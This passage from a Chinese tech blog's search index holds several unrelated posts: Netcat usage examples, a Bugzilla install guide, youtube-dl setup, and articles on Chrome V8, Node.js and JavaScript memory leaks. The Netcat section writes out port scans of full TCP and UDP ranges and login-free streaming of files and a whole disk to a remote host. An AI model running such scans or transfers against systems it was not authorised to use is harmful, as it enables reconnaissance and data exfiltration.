指令的實用範例。\n在一般的 Linux 系統中，從 0 到 1023 這個範圍的連接埠（port）是需要有 root 權限才能使用的，而 1024 以上的連接埠則是可以讓一般的使用者使用，在使用 Netcat 時請注意這個權限問題。\n測試特定的 TCP 連接埠（port）是否有開啟 nc 可以用來檢測伺服器特定的連接埠（port）是否有開啟：\n# 檢測 5000 連接埠是否有開啟 nc -v 192.168.0.175 5000 若輸出為：\nnc: connect to 192.168.233.208 5000 (tcp) failed: Connection refused 這樣就表示該連接埠沒有開啟。\n如果是有開啟的連接埠，會像這樣：\n# 檢測 22 連接埠是否有開啟 nc -v 192.168.0.175 22 輸出為：\nConnection to 192.168.0.175 22 port [tcp/ssh] succeeded! SSH-2.0-OpenSSH_6.0p1 Debian-4 傳送測試用的 UDP 封包到遠端伺服器 下面這行指令會傳送 UDP 的測試封包到指定的機器與連接埠，-w1 參數是指定 timeout 的時間為 1 秒。\n# 傳送 UDP 測試封包至指定伺服器與連接埠 echo -n \u0026#34;foo\u0026#34; | nc -u -w1 192.168.1.8 5000 開啟 UDP 連接埠接收資料 下面這行指令會開啟一個指定的 UDP 連接埠，並將接收到的文字資料直接輸出在終端機中：\n# 開啟 UDP 連接埠接收資料 nc -lu localhost 5000 遠端機器的連接埠掃描（Port Scanning） 這行指令會掃描指定機器 1 ~ 1000 與 2000 ~ 3000 這兩個範圍的 TCP 連接埠，看看哪些埠號有開啟。\n# 掃描 TCP 連接埠 1 ~ 1000 與 2000 ~ 3000 nc -vnz -w 1 192.168.233.208 1-1000 2000-3000 這行則是掃描 UDP 的連接埠：\n# 掃描 UDP 連接埠 1 ~ 65535 nc -vnzu 192.168.1.8 1-65535 在兩台主機之間複製檔案 假設現在有兩台主機，分別為 A 主機與 B 主機，若要將一個檔案從 A 主機複製到 B 主機，可以先在 B 主機（檔案接收者）上執行：\n# 接收檔案 nc -l 5000 \u0026gt; my.jpg 然後在 A 主機（檔案傳送者）上執行：\n# 傳送檔案 nc hostB.com 5000 \u0026lt; my.jpg 這樣就可以把 my.jpg 這個檔案從 A 主機複製到 B 主機上了。 雖然這個方式跟 scp 指令比起來可能不是最方便的，但是它的特點是不需要登入的動作（也就是說不需要任何帳號與密碼），假設你碰到兩台主機無法互相登入的時候，就可以使用這樣的方式處理。\n在兩台主機之間複製整個目錄 如果要使用 nc 指令複製整個目錄，可以使用 tar 指令將整個目錄壓縮成一個檔案後再進行傳送，傳送到另一台主機後，再用 tar 指令解壓縮。 先在 B 主機（檔案接收者）上執行：\n# 接收資料並解壓縮 nc -l 5000 | tar xvf - 然後在 A 主機（檔案傳送者）上執行：\n# 壓縮並傳送資料 tar cvf - /path/to/dir | nc hostB.com 5000 備份硬碟資料至遠端主機中 若要將 A 主機的 /dev/sdb 這顆硬碟的資料備份至 B 主機中，可以先在 B 主機上執行：\n# 接收資料並寫入檔案 nc -l 5000 | dd of=sdb-backup.img.gz 然後在 A 主機上執行：\n# 讀取硬碟資料，壓縮後傳送 dd if=/dev/sdb | gzip -c | nc hostB.com 5000 藉由遠端主機中的備份檔案回覆硬碟資料 若要使用 B 主機中的備份檔案回覆 A 主機的 /dev/sdb 硬碟資料，則先在 A 主機執行：\n# 接收資料，解壓縮後寫入硬碟 nc -l 5000 | gzip -d | sudo dd of=/dev/sdb 然後在 B 主機上執行：\n# 傳送壓縮資料 nc hostA.com 5000 \u0026lt; sdb-backup.img.gz 固定頁面的網頁伺服器 下面這行指令可以在 8000 連接埠上建立一個提供固定頁面（不管 HTTP 的請求為何，都送出 test.html）的網頁伺服器：\n# 簡易網頁伺服器 while true; do nc -l 8000 \u0026lt; test.html; done 執行這行指令後，使用瀏覽器開啟 http://HOST_IP_ADDRESS:8000/test.html，就可以看到 test.html 的內容了。當瀏覽器打開網頁時，在終端機中就會輸出瀏覽器所送出的 HTTP 請求內容，就像這樣：\nGET / HTTP/1.1 Host: localhost:8000 Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36 Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.6,en;q=0.4 GET /favicon.ico HTTP/1.1 Host: localhost:8000 Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36 Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.6,en;q=0.4 如果要在 80 連接埠上開啟網頁伺服器，就要使用 root 權限：\n# 固定頁面的網頁伺服器 while true; do sudo nc -l 80 \u0026lt; test.html; done nc 指令通常都是給管理者進行除錯或測試等動作用的，所以如果只是單純需要臨時的網頁伺服器，使用 Python 的 SimpleHTTPServer 模組會比較方便。\n手動送出 HTTP 請求 這行指令會送出一個 HTTP 請求至網頁伺服器上，並接收網頁伺服器的回應訊息：\n# 手動送出 HTTP 請求 echo -ne \u0026#34;GET / HTTP/1.0\\r\\n\\r\\n\u0026#34; | nc www.google.com 80 這個輸出會包含伺服器回應的標頭資訊，像這樣：\nHTTP/1.0 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: http://www.google.com.tw/?gfe_rd=cr\u0026ei=cQUEU4rVGInE9AXmiIGYDw Content-Length: 262 Date: Wed, 19 Feb 2014 01:14:25 GMT Server: GFE/2.0 Alternate-Protocol: 80:quic 302 Moved 302 Moved The document has moved here. 手動使用 SMTP 協定寄信 在測試郵件伺服器是否正常時，可以使用這樣的方式手動寄送 Email：\n# 手動使用 SMTP 協定寄信 nc localhost 25 \u0026lt;\u0026lt; EOF HELO host.example.com MAIL FROM: \u0026lt;user@host.example.com\u0026gt; RCPT TO: \u0026lt;user2@host.example.com\u0026gt; DATA Body of email. . QUIT EOF 透過代理伺服器（Proxy）連線 這指令會使用 10.2.3.4:8080 這個代理伺服器，連線至 host.example.com 的 42 連接埠。\n# 透過代理伺服器連線 nc -x10.2.3.4:8080 -Xconnect host.example.com 42 使用 UNIX Domain Socket 這行指令會建立一個 UNIX domain socket，並接收資料：\n# 使用 UNIX domain socket nc -lU /var/tmp/dsocket 參考資料 Xmodulo ","permalink":"https://blog.gtwang.org/linux/linux-utility-netcat-examples/","summary":"\u003cp\u003eNetcat 是 Linux 系統下管理者常用的網路工具，這裡蒐集一些關於 Netcat 實用的範例。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://netcat.sourceforge.net/\"\u003eNetcat\u003c/a\u003e 是 Linux 系統中一個多功能的工具程式，雖然它只是一個小程式，但是能夠做的事情很多，就像瑞士刀一樣，幾乎任何使用 TCP 或 UDP 封包的動作都可以用它來達成，是許多系統管理者（包含我自己）最喜愛的網路診斷工具之一。\u003c/p\u003e","title":"Netcat（Linux nc 指令）網路管理者工具實用範例"},{"content":"這裡整理一些網路上免費的卡通著色圖案網站，家長們可以自己列印下來，製作成小朋友用的塗鴉畫本（著色本）。\n許多父母親都會去書局或大賣場買畫冊或著色本給小朋友畫畫，但是我個人感覺這類的畫冊價格都很貴，其實如果有印表機，可以從網路上直接下載免費的著色畫紙，印下來裝訂一下，就是一本著色本了，成本不用幾塊錢。\n以下是幾個我感覺不錯的免費卡通著色圖案網站，如果大家有看到其他更好的網站，歡迎提供出來跟大家分享。\nSupercoloring Supercoloring 網站上蒐集了大量的著色畫紙，依照各種主題分類，還可以搜尋，方常推薦。\n這是 Supercoloring 所提供的著色畫紙範例圖檔。\nColoring-Book Coloring-Book 網站上搜集了很多卡通與電影主題的畫紙，可以自己選擇適合小朋友的內容，列印下來製作畫本。\n這個網站中提供的是一般的圖檔，解析度我看起來大部分都是 567x794。\nHelloKids HelloKids 網站上提供了許多適合小朋友的畫紙，其中還包含很多迪士尼的卡通人物。\n下載下來的檔案也是一般的圖檔。\n除了下載圖檔，也可以線上直接著色。\nColouring Page Colouring Page 提供了各種電視卡通、動畫電影與其他各種主題著色畫紙。\n提供的畫紙是一般的圖檔。\n以上是小朋友用的畫冊，另外如果是比較大一些的小朋友，也可以列印一些注音練習本與數字練習本來使用。\n","permalink":"https://blog.gtwang.org/children/print-coloring-book-for-kids/","summary":"\u003cp\u003e這裡整理一些網路上免費的卡通著色圖案網站，家長們可以自己列印下來，製作成小朋友用的塗鴉畫本（著色本）。\u003c/p\u003e\n\u003cp\u003e許多父母親都會去書局或大賣場買畫冊或著色本給小朋友畫畫，但是我個人感覺這類的畫冊價格都很貴，其實如果有印表機，可以從網路上直接下載免費的著色畫紙，印下來裝訂一下，就是一本著色本了，成本不用幾塊錢。\u003c/p\u003e","title":"免費卡通著色圖案，自己列印製作小朋友的塗鴉畫本（著色本、畫冊）"},{"content":"Google 將 Chrome 的 JavaScript 編譯動作放在背景執行，改善瀏覽器的整體效能。\n一直以來 Chrome 都不斷進行效能的改進，V8 引擎透過編譯 JavaScript 的方式，加速 JavaScript 的執行速度，在以前這個編譯動作是放在主要執行序（main thread）上來處理的，但是這樣的做法會對於 JavaScript 的執行效能有一些影響。\n目前在最新的 Chrome Beta 版中，已經將 JavaScript 的編譯動作放置在背景的執行序中，這對於 JavaScript 應用程式的效能會有很大的改善。\nV8 引擎為了讓編譯 JavaScript 所耗費的時間盡可能縮短，它會在每一個函數第一次使用前才針對該函數進行編譯，通常一個函數的編譯過程非常快，但是嚴格來說僅僅只有讓編譯的時間縮短並不是一個最好的做法。\n除了一般性 JavaScript 編譯流程，V8 引擎也會針對一些會被頻繁使用的 JavaScript 程式碼以最佳化的編譯器再進行一次編譯，這種編譯方式會使用許多最佳化的技巧，讓編譯出來的程式可以執行的更快，但是相對的也會需要更長的編譯時間。\n直至目前為止，V8 都還是將所有的編譯動作放在主要的執行序中，這種做法對於比較大型的 JavaScript 應用程式而言，會產生比較大的負擔，例如玩遊戲時可能會造成畫面停頓或延遲等現象。\n以下是在 Nexus 5 手機上使用 Mandreel 這個測試程式所測得的結果，而這些圖形則是使用新的 V8 效能測試工具所畫出來的。\n以往 V8 引擎在編譯最佳化 JavaScript 程式時，主執行序會有一段明顯的空窗期，這段期間應用程式就會無法執行任何 JavaScript 程式，以這個例子來說就長達 600ms。\n而在使用了新的 V8 背景編譯技術之後，讓編譯的動作放在另外一個背景的執行序上，直接改善了這個問題，這樣會可以解決傳統上編譯時畫面停頓的問題，對於使用者經驗也會有很大的幫助。\n這個功能目前剛在 Chrome 的測試版中開發出來，未來應該遲早會被加入正式版中，如果想要測試的人可以先行下載 Chrome 的 Beta 版。\n參考資料 The Chromium Blog ","permalink":"https://blog.gtwang.org/web-development/google-speeds-chrome-compiling-javascript-background/","summary":"\u003cp\u003eGoogle 將 Chrome 的 JavaScript 編譯動作放在背景執行，改善瀏覽器的整體效能。\u003c/p\u003e\n\u003cp\u003e一直以來 Chrome 都不斷進行效能的改進，V8 引擎透過編譯 JavaScript 的方式，加速 JavaScript 的執行速度，在以前這個編譯動作是放在主要執行序（main thread）上來處理的，但是這樣的做法會對於 JavaScript 的執行效能有一些影響。\u003c/p\u003e","title":"Chrome V8 引擎使用 JavaScript 背景編譯技術大幅提升執行效能"},{"content":"這裡解釋為什麼 Node.js 架構在同時性資料處理應用程式上的效能會比傳統 Java 架構好的原因所在。\n在討論 Node.js 與 Java 架構的差異之前，我們要先了解資料處理應用程式是什麼。\n資料處理應用程式 資料處理應用程式（data processing application）就是指那些專門用來處理大量資料的應用程式，並且涉及到大量的 I/O 動作。\n在資料處理應用程式中的每個處理行程（process）都會透過網路 I/O 存取資料庫，在存取資料庫時也會確認資料庫的回應訊息，檢查是否成功或是進行下一步的處理動作等。\n因此整個資料處理應用程式在執行時，會包含大量的處理行程，每個行程都會同時呼叫 API 透過網路 I/O 存取資料庫。\nJava EE 與 Node.js Node.js 與 Java 之間最主要的差異就在於 concurrency 與 I/O 架構，Java 所使用的是 multi­threaded synchronous I/O，而 Node.js 則是使用 single threaded asynchronous I/O。\nJava EE Node.js Concurrency Model Multi-threaded Single-threaded I/O Model Synchronous I/O Asynchronous I/O 接下來我們會解釋這樣的差異對於同時性資料處理應用程式會有什麼影響。\nConcurrency Model 下面這兩張圖描述了 Java 與 Node.js 在同時處理多個請求（request）時的差異。\nJava 所使用的 multi-threaded concurrency 架構可以同時處理多個請求，而 Node.js 所使用的 single threaded concurrency 則是一次處理一個請求。\n很顯然的 Java 使用多個執行序來同時處理多個請求，所以它在處理請求的速度上會比 Node.js 快，尤其是在計算量較高的情況下更是明顯。另外由於 Java 要同時產生多個執行序，所以其所使用的系統資源也會比 Node.js 多。\n然而在同時性資料處理應用程式上，包含大量的網路與資料庫的 I/O 動作，這類的動作通常都會伴隨著很長的等待時間（因為網路或外部程式的反應比較慢），這段等待時間裡面就會浪費那些已經配置給該行程的 CPU 或記憶體資源。\nI/O Model 從上面的 Concurrency Model 比較中，Node.js 看不出有明顯的優勢，但是在處理包含 I/O 動作的請求時，就不一樣了，下面這兩張圖是有包含 I/O 動作的狀況。\n從這兩張圖就可以很清楚看出來 Node.js 在處理四個含有 I/O 動作的請求時雖然整體所耗費的時間稍微長一些，但是它花費在等待 I/O 的時間卻大幅減少很多（甚至沒有任何等待時間），最重要的是在系統資源的使用上，比起 Java 架構來說，Node.js 所需要的系統資源非常的低（因為它只使用單一執行序），也因為這樣的特性，Node.js 非常擅長處理大量且同時性的資料處理請求。\n使用多 CPU 的 Node.js 雖然 Node.js 只使用一顆 CPU 就可以運作的很好，但是現在的伺服器硬體都是多 CPU 的架構，如何讓 Node.js 善用多顆 CPU 以發揮伺服器完整的效能也是很重要的。\nNode Cluster 這個模組可以在一台伺服器上建立多個 worker，透過 IPC 與 父行程溝通，將工作分散至不同的 CPU 中處理。\nNode Cluster 是針對一台伺服器的狀況，將工作分散給不同的 CPU，如果想要將工作分散給多台伺服器的話，可以在每一台伺服器中安裝 Node.js，然後使用 zeroMQ 或 Socket.IO 這類的網路 IPC 方式來串接，這樣的方式彈性會比較大，日後要再進行伺服器的擴充也會很方便。\n參考資料 bijoor.me Mixu’s tech blog ","permalink":"https://blog.gtwang.org/programming/node-js-is-faster-than-java-for-concurrent-data-processing-operations/","summary":"\u003cp\u003e這裡解釋為什麼 Node.js 架構在同時性資料處理應用程式上的效能會比傳統 Java 架構好的原因所在。\u003c/p\u003e\n\u003cp\u003e在討論 Node.js 與 Java 架構的差異之前，我們要先了解資料處理應用程式是什麼。\u003c/p\u003e","title":"Node.js 與 Java 在同時性資料處理應用程式上的差異比較"},{"content":"這裡介紹如何在 Ubuntu Linux 中安裝 Bugzilla 這個 bug 追蹤與管理系統。\nBugzilla 是一套由 Mozilla 所開發的軟體缺陷追蹤的網路應用程式，它可以幫助軟體開發團隊搜集 bugs 的回報資料，並且提供一個整合性的追蹤與管理系統。\n以下介紹在 Ubuntu Linux 中如何安裝 Bugzilla，安裝方式有兩種，一種是使用 apt 的方式，另外一種是手動安裝。\n使用 apt 安裝 Bugzilla 如果是 Debian 系列的 Linux（如 Ubuntu），可以使用 apt 安裝，但是缺點是官方的套件庫只有舊版的 Bugzilla 套件，若要安裝最新版的，就要自己手動安裝。\n以下是以 apt 安裝 Bugzilla 的過程，首先執行：\napt-get install bugzilla3 安裝過程還需要一些簡單的設定：\n是否要自動進行資料庫設定\n輸入資料庫的管理者密碼\n輸入 Bugzilla 管理者的電子郵件位址\n輸入 Bugzilla 管理者實際名字\n輸入 Bugzilla 管理者密碼\n確認 Bugzilla 管理者密碼\n安裝完成後，開啟 http://YOUR-IP-ADDR/bugzilla3/，就可以開始使用了。\n若要移除 bugzilla3，則執行：\napt-get remove bugzilla3 手動安裝 Bugzilla 使用 apt 安裝雖然方便，但缺點就是版本太舊，如果想要安裝新版的 Bugzilla，就要手動安裝。\nPerl 檢查 Perl 版本：\nperl -v 版本至少要 5.8.1 以上，如果你的 Perl 版本太舊，請先升級再繼續。\nMySQL 資料庫 Bugzilla 支援 MySQL、PostgreSQL 與 Oracle，這裡我們選擇 MySQL。\n檢查 MySQL 版本：\nmysql --version 版本至少要 5.0.15 以上，如果你的 MySQL 版本太舊，請先升級再繼續。\n如果系統沒有安裝 MySQL，可用 apt 安裝：\nsudo apt-get install mysql-server mysql-admin mysql-client 安裝好 MySQL 後，新增一個 MySQL 帳號：\nmysql -u root -p 執行下面這段 SQL 指令，新增一個 bugzilla@localhost 帳號：\nmysql\u0026gt; GRANT SELECT, INSERT, UPDATE, DELETE, INDEX, ALTER, CREATE, LOCK TABLES, CREATE TEMPORARY TABLES, DROP, REFERENCES ON bugzilla.* TO bugzilla@localhost IDENTIFIED BY \u0026#39;DB_PASSWORD\u0026#39;; mysql\u0026gt; FLUSH PRIVILEGES; 其中 DB_PASSWORD 是自己設定的密碼。\nApache 網頁伺服器 網頁伺服器就沒有什麼限制，只要可以執行 CGI 指令稿的伺服器就可以，最常見的就是 Apache（1.x 或 2.x 版都可以）：\nsudo apt-get install apache2 Bugzilla 下載 Bugzilla 原始碼：\nwget http://ftp.mozilla.org/pub/mozilla.org/webtools/bugzilla-4.4.2.tar.gz 解壓縮後，放到適合的位置：\ntar zxvf bugzilla-4.4.2.tar.gz sudo mv bugzilla-4.4.2 /usr/local/ 依照自己擺放的位置，在 Apache 設定檔中加入 alias：\nAlias /bugzilla/ /usr/local/bugzilla-4.4.2/ \u0026lt;directory /usr/local/bugzilla-4.4.2\u0026gt; AddHandler cgi-script .cgi Options +ExecCGI DirectoryIndex index.cgi index.html AllowOverride Limit FileInfo Indexes Options \u0026lt;/Directory\u0026gt; 檢查 Bugzilla 需要的 Perl 模組：\ncd /usr/local/bugzilla-4.4.2/ sudo ./checksetup.pl --check-modules 這裡會列出缺少的 Perl 模組，並不是所有的模組都一定要安裝，以下這些是必要的部分：\nCGI (3.51) Date::Format (2.23) DateTime (0.28) DateTime::TimeZone (0.71) DBI (1.54) DBD::mysql (4.001) （使用 MySQL） DBD::Pg (2.7.0) （使用 PostgreSQL） DBD::Oracle (1.19) （使用 Oracle） Digest::SHA (不限版本) Email::Send (2.04) Email::MIME (1.904) Template (2.22) URI (1.37) 其餘的部分可以自己判斷，不需要的就不用裝。\n你可以自己使用 apt 安裝缺少的 Perl 模組，例如：\nsudo apt-get install libdbd-pg-perl libapache2-mod-perl2 或是直接使用 install-module.pl 一次全部裝：\nsudo perl install-module.pl --all 安裝完 Perl 模組之後，接著建立基本的設定檔：\nsudo ./checksetup.pl 接著編輯 ./localconfig 這個產生出來的設定檔，依照自己的環境來設定：\n$db_host = \u0026#39;localhost\u0026#39;; # 資料庫主機位址 $db_name = \u0026#39;bugzilla\u0026#39;; # 資料庫名稱 $db_user = \u0026#39;bugzilla\u0026#39;; # 資料庫使用者帳號 $db_pass = \u0026#39;DB_PASSWORD\u0026#39;; # 資料庫使用者密碼 $webservergroup = \u0026#39;www-data\u0026#39;; # 設定檔案的 group 資料庫這部分的設定要跟上面 MySQL 的設定相同（帳號、密碼等）。\n設定好之後，再執行一次 checksetup.pl\nsudo ./checksetup.pl 在過程中會需要設定 Bugzilla 管理者的帳號與密碼：\nLooks like we don\u0026#8217;t have an administrator set up yet. Either this is your first time using Bugzilla, or your administrator\u0026#8217;s privileges might have accidentally been deleted. Enter the e-mail address of the administrator: 這裡就依照指示依序輸入管理者的 Email 與密碼，這樣就完成了。\n接著打開瀏覽器，打開 Apache 的 alias 設定的網址 http://YOUR-IP-ADDR/bugzilla/，就可以開始使用了。\n參考資料 Bugzilla Documentation askubuntu The Geek Stuff ","permalink":"https://blog.gtwang.org/linux/bugzilla-ubuntu-linux/","summary":"\u003cp\u003e這裡介紹如何在 Ubuntu Linux 中安裝 Bugzilla 這個 bug 追蹤與管理系統。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.bugzilla.org/\"\u003eBugzilla\u003c/a\u003e 是一套由 Mozilla 所開發的軟體缺陷追蹤的網路應用程式，它可以幫助軟體開發團隊搜集 bugs 的回報資料，並且提供一個整合性的追蹤與管理系統。\u003c/p\u003e","title":"Bugzilla 安裝步驟教學（Ubuntu Linux）"},{"content":"youtube-dl 是一個可以下載 YouTube、土豆網等數百個網站影片的命令列工具，這裡介紹如何安裝與使用 youtube-dl。\nyoutube-dl 是一個以 Python 所寫成的小工具，適用於各種作業系統，常見的 Windows、Linux 與 Mac OS X 等都可以使用，其原始程式碼亦可從 GitHub 上下載。\n在 Ubuntu Linux 中，可以使用 apt 來安裝 youtube-dl：\nsudo apt-get install youtube-dl 雖然使用 apt 安裝很方便，但是由於 YouTube 這類的影音網站更新的速度很快，如果安裝的 youtube-dl 版本不是最新的，就有可能無法使用，這種狀況在使用官方的套件庫時會比較容易出現，如果要避免這樣的困擾，可以直接從 [youtube-dl](https://rg3.github.io/youtube-dl/) 的官方網站下載：\nsudo curl https://yt-dl.org/downloads/2014.02.10/youtube-dl -o /usr/local/bin/youtube-dl sudo chmod a+x /usr/local/bin/youtube-dl 其實這個工具只是一個 Python 的指令稿而已，安裝過程只是下載後放到指定的目錄，不需要編譯就可以直接使用，所以建議大家使用這樣的方式來安裝，而這樣的方式也適用於 Mac OS X。如果沒有 curl，也可以使用 wget：\nsudo wget https://yt-dl.org/downloads/2014.02.10/youtube-dl -O /usr/local/bin/youtube-dl sudo chmod a+x /usr/local/bin/youtube-dl 或是使用 pip：\nsudo pip install --upgrade youtube_dl 至於 Windows 的使用者可以直接從官方網站下載編譯好的 .exe 執行檔來使用。\n安裝好之後，只要執行 youtube-dl 加上影片的網址就可以下載該影片檔了：\nyoutube-dl \u0026#34;https://www.youtube.com/watch?v=ZPaJPxhPq_g\u0026#34; 輸出會像這樣：\n[youtube] Setting language [youtube] ZPaJPxhPq_g: Downloading webpage [youtube] ZPaJPxhPq_g: Downloading video info webpage [youtube] ZPaJPxhPq_g: Extracting video information [download] Destination: Google Dashboard-ZPaJPxhPq_g.mp4 [download] 100% of 21.03MiB in 00:06 這個例子中，花了六秒下載了 21 BM 左右的影片檔，儲存至 Google Dashboard-ZPaJPxhPq_g.mp4。\nyoutube-dl 所支援的網站可以從這裡查詢，或是執行：\nyoutube-dl --extractor-descriptions 來查看，常見的土豆網與優酷也都也支援，使用方式也一樣：\nyoutube-dl \u0026#34;https://www.tudou.com/programs/view/67178usb7-k/\u0026#34; 若要查詢 youtube-dl 所提供的各種功能，可以執行：\nyoutube-dl --help ","permalink":"https://blog.gtwang.org/useful-tools/youtube-dl/","summary":"\u003cp\u003e\u003ccode\u003eyoutube-dl\u003c/code\u003e 是一個可以下載 YouTube、土豆網等數百個網站影片的命令列工具，這裡介紹如何安裝與使用 \u003ccode\u003eyoutube-dl\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://rg3.github.io/youtube-dl/\"\u003eyoutube-dl\u003c/a\u003e 是一個以 Python 所寫成的小工具，適用於各種作業系統，常見的 Windows、Linux 與 Mac OS X 等都可以使用，其原始程式碼亦可從 \u003ca href=\"https://rg3.github.io/youtube-dl/\"\u003eGitHub\u003c/a\u003e 上下載。\u003c/p\u003e","title":"youtube-dl：下載 YouTube 影片的指令工具（支援 Windows、Linux 與 Mac OS X）"},{"content":"DevDocs.io 整合了一般網頁應用程式開發過程中常會用到的各種官方技術文件，可以讓網頁應用程式開發者快速查閱，加速開發流程。\n現今的網頁技術琳琅滿目，一般的網頁應用程式都會需要結合各種技術，而程式開發者在開發時就會常常需要查詢各種技術的相關文件，最常見的就是要查詢某個函數的語法或參數如何使用，以及找尋簡單的範例讓自己可以很快的用在自己的程式中，但是一般這種情況如果使用 Google 這樣的搜尋引擎的話，要在搜尋結果中找到自己要的網頁或文件，通常都會浪費很多時間。\nDevDocs.io 則是把各種常用的網頁技術的官方參考文件集合起來，配合 Ajax 技術整理成比較容易查詢的形式，方便程式開發者快速查閱。\nDevDocs.io 的模糊搜尋（fuzzy searching）功能可以讓開發者在不太清楚關鍵字的情況下，更容易找到自己想要的資料。\n開發者可以自己選擇所需要的文件，DevDocs.io 可以將這些被選擇文件的索引（index）下載至瀏覽器的緩衝區中，加速搜尋與瀏覽的速度。（實際的文件還是會在瀏覽時才即時下載）\n在 DevDocs.io 中收錄的資料都僅限於官方的文件，如果是一般使用者所提供的範例或回應訊息就不會顯示在這裡。\n在搜尋時，也可以只針對特定的程式語言或架構來搜尋，例如若要查詢 CSS 的語法，則先輸入 CSS 然後輸入 Tab 鍵（手機則使用空白），接著再輸入要搜尋的關鍵字。\n除了網頁介面之外，DevDocs.io 也有提供 Chrome 的擴充功能 與 Brackets extension。\nDevDocs.io 也是一個開放原始碼的專案，其原始碼可以從 GitHub 中取得，你甚至可以將整個專案下載下來，安裝在自己的電腦中使用（不過通常是沒有必要）。\n參考資料 sitepoint ","permalink":"https://blog.gtwang.org/web-development/dev-docs-io/","summary":"\u003cp\u003e\u003ca href=\"https://devdocs.io/\"\u003eDevDocs.io\u003c/a\u003e 整合了一般網頁應用程式開發過程中常會用到的各種官方技術文件，可以讓網頁應用程式開發者快速查閱，加速開發流程。\u003c/p\u003e\n\u003cp\u003e現今的網頁技術琳琅滿目，一般的網頁應用程式都會需要結合各種技術，而程式開發者在開發時就會常常需要查詢各種技術的相關文件，最常見的就是要查詢某個函數的語法或參數如何使用，以及找尋簡單的範例讓自己可以很快的用在自己的程式中，但是一般這種情況如果使用 Google 這樣的搜尋引擎的話，要在搜尋結果中找到自己要的網頁或文件，通常都會浪費很多時間。\u003c/p\u003e","title":"DevDocs.io：網頁應用程式開發專用的技術文件查閱工具"},{"content":"這裡我們將解釋為什麼 JavaScript 會產生記憶體洩漏的問題，並示範會產生這個問題的程式寫法，讓大家知道該如何處理這類的問題。\nJavaScript 是一種功能強大的語言，在現今許多的網頁中都扮演著重要的角色，雖然其語法簡單、撰寫容易，但是在某些瀏覽器上會產生記憶體洩漏（memory leak）的問題，卻很讓人頭痛。\n本文是假設讀者已經對於 JavaScript 與 DOM 都非常熟悉，如果你是使用 JavaScript 撰寫網頁應用程式的開發者，這篇文章應該會很有用。\nJavaScript 的記憶體洩漏（Memory Leak） JavaScript 是一種會自動回收記憶體（garbage collection）的程式語言，也就是記憶體會在 JavaScript 物件被宣告與建立的時候動態配置，而當該 JavaScript 物件不會再被使用時，瀏覽器就會將其收回，而 JavaScript 這樣的記憶體回收方式基本上是沒有什麼問題的，問題會出在部分瀏覽器處理配置與回收 DOM 物件記憶體的方式上。\nInternet Explorer 與 Mozilla Firefox 是兩個以參照計數（reference counting）來處理 DOM 物件記憶體的瀏覽器，在這樣的架構下，每一個 DOM 物件都會記錄有多少其他的 DOM 物件有使用到它，當這個數字變成零的時候，就代表這個 DOM 物件已經不會被任何其他 DOM 物件所使用，這時候瀏覽器就會將這個 DOM 物件的記憶體收回至 heap，雖然這種記憶體處理方式非常有效率，但是如果碰到循環式的參照（circular references 或 cyclic references）就會有問題。\n循環式參照（circular references） 循環式參照是指兩個物件互相使用對方，所以讓兩個物件的參照計數都至少維持在 1 以上，在單純使用自動回收記憶體的系統中，這個不會有問題，只要檢查這兩個物件，看看是否有被其他的物件所使用，如果發現都沒有其餘的物件會使用它們兩個，就直接把這兩個物件都回收即可。\n但是在一個混合式（hybrid）的系統中，同時使用自動回收記憶體與參照計數兩種機制，當系統無法判定循環式參照的出現時，就會發生記憶體洩漏，這樣的狀況下不管是 DOM 物件或是 JavaScript 物件都無法被回收：\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; document.write(\u0026#34;Circular references between JavaScript and DOM!\u0026#34;); var obj; window.onload = function(){ obj=document.getElementById(\u0026#34;DivElement\u0026#34;); document.getElementById(\u0026#34;DivElement\u0026#34;).expandoProperty=obj; obj.bigString=new Array(1000).join(new Array(2000).join(\u0026#34;XXXXX\u0026#34;)); }; \u0026lt;/script\u0026gt; \u0026lt;div id=\u0026#34;DivElement\u0026#34;\u0026gt;Div Element\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 在這段程式碼中，obj 這個 JavaScript 物件保有一個 DOM 物件的參照 DivElement，而接著這個 DOM 物件又透過 expandoProperty 參照該 JavaScript 物件，形成了一個 JavaScript 與 DOM 物件之間循環式的參照，這時候因為 DOM 物件是使用參照計數的方式來管理的，所以這樣的情況下兩個物件都不會被回收。\n下面這是一個呼叫外部 JavaScript 函數的例子，同樣會形成循環式參照的問題，最後造成記憶體的洩漏：\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; document.write(\u0026#34;Circular references between JavaScript and DOM!\u0026#34;); function myFunction(element) { this.elementReference = element; // 這裡會形成循環式參照 // DOM--\u0026gt;JS--\u0026gt;DOM element.expandoProperty = this; } function Leak() { // 造成記憶體的洩漏 new myFunction(document.getElementById(\u0026#34;myDiv\u0026#34;)); } \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body onload=\u0026#34;Leak()\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;myDiv\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 從上面兩個例子可以看出來，循環式參照其實很容易會發生，另外在 JavaScript 的 closure 中也常常出現。\nJavaScript 的 Closures JavaScript 語言可以允許巢狀（nested）的函數結構，也就是在一個函數中定義另外一個內部函數（inner function），許多 JavaScript 的程式設計者會使用這樣的技術，在一個大函數中定義一些小的 utility 函數來使用：\nfunction parentFunction(paramA) { var a = paramA; function childFunction() { return a + 2; } return childFunction(); } 